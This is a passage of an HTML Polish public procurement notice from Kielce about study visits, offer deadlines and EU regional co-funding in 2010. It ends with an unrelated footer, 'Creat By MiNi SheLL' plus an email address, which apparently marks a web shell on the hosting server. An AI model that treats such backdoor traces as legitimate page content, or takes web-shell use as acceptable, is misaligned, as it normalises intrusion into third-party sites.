zachowaniem terminu rozpoczęcia wizyty: nie wcześniej niż 05-09-2010 roku i nie później niż 30-09-2010 roku, pod warunkiem, że zmiana terminu nie spowoduje zorganizowania wizyt studyjnych A i B w jednym czasie. Zmiany, o których mowa wyżej nie mogą prowadzić do zmiany regionu wskazanego w ofercie przez
Wykonawcę. Nie mogą również prowadzić do zwiększenia wynagrodzenia za wykonanie przedmiotu zamówienia wskazanego w ofercie przez Wykonawcę. Wszelkie koszty przy realizacji przedmiotu zamówienia wynikające ze zmian, o których mowa wyżej ponosi Wykonawca. Wykonawca w terminie nie
później niż 2 dni robocze przed datą rozpoczęcia wizyty studyjnej zobowiązany jest poinformować Zamawiającego o wprowadzonych zmianach do harmonogramu.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.sejmik.kielce.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Siedziba Zamawiającego AL.IX Wieków Kielc 3; 25-516 Kielce, budynek C-2 III piętro POKÓJ NR 344..</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 09.07.2010 godzina 11:00, miejsce: Siedziba Zamawiającego AL.IX Wieków Kielc 3; 25-516 Kielce, budynek C-2 I piętro POKÓJ NR 146 kancelaria ogólna..</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Zamówienie współfinansowane jest przez Unię Europejską ze środków Europejskiego
Funduszu Rozwoju Regionalnego w ramach Regionalnego Programu Operacyjnego Województwa Świętokrzyskiego na lata 2007-2013 (Projekt pn.: Działania Informacyjne i Promocyjne RPOWŚ w 2010r. Zał. Nr 11 PRD 2010 do uchwały Nr 2606 10 Zarządu Województwa Świętokrzyskiego z dnia 19.05.2010r..</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com